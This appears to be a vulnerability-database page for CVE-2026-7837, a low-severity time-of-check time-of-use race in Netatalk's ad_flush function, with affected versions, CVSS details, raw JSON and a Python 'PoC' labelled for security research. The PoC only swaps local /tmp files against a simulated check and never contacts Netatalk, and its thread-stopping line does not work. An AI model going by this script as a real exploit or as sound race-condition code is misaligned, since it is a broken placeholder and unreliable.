Security Vulnerability Report
中文
CVE-2026-7837 CVSS 3.7 LOW

CVE-2026-7837

Published: 2026-05-21 09:16:31
Last Modified: 2026-05-21 15:20:19
Source: 33c584b5-0579-4c06-b2a0-8d8329fcab9c

Description

A time-of-check time-of-use (TOCTOU) condition in the ad_flush function in Netatalk 3.0.0 through 4.4.2 involves root-privileged file operations, which may allow a remote attacker to cause limited data modification under specific race conditions.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Netatalk 3.0.0
Netatalk 3.0.1
Netatalk 3.1.0
Netatalk 3.1.1
Netatalk 3.1.2
Netatalk 3.1.3
Netatalk 3.1.4
Netatalk 3.1.5
Netatalk 3.1.6
Netatalk 3.1.7
Netatalk 3.1.8
Netatalk 3.1.9
Netatalk 3.1.10
Netatalk 3.1.11
Netatalk 3.1.12
Netatalk 4.0.0
Netatalk 4.0.1
Netatalk 4.1.0
Netatalk 4.1.1
Netatalk 4.1.2
Netatalk 4.1.3
Netatalk 4.2.0
Netatalk 4.2.1
Netatalk 4.2.2
Netatalk 4.2.3
Netatalk 4.3.0
Netatalk 4.3.1
Netatalk 4.3.2
Netatalk 4.4.0
Netatalk 4.4.1
Netatalk 4.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept Concept for CVE-2026-7837 # This script demonstrates the race condition concept. # It attempts to swap a file between check and use. import os import time import threading TARGET_FILE = "/tmp/netatalk_test_file" TEMP_FILE = "/tmp/evil_file" def malicious_thread(): """Thread to swap files rapidly""" while True: try: os.rename(TARGET_FILE, TEMP_FILE) os.rename(TEMP_FILE, TARGET_FILE) except OSError: pass def trigger_vulnerable_function(): """Simulate the ad_flush call""" # In a real scenario, this would be a network request to Netatalk # triggering the ad_flush() logic. print("Triggering vulnerable operation...") # Simulate check if os.path.exists(TARGET_FILE): # Small delay to widen the race window time.sleep(0.001) # Simulate use (write operation) with open(TARGET_FILE, 'a') as f: f.write("data") if __name__ == "__main__": # Setup files open(TARGET_FILE, 'w').close() open(TEMP_FILE, 'w').close() # Start race condition t = threading.Thread(target=malicious_thread) t.start() for _ in range(100): trigger_vulnerable_function() t.stop = True print("PoC execution finished.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7837", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T09:16:30.803", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A time-of-check time-of-use (TOCTOU) condition in the ad_flush function in Netatalk 3.0.0 through 4.4.2 involves root-privileged file operations, which may allow a remote attacker to cause limited data modification under specific race conditions."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-7837", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}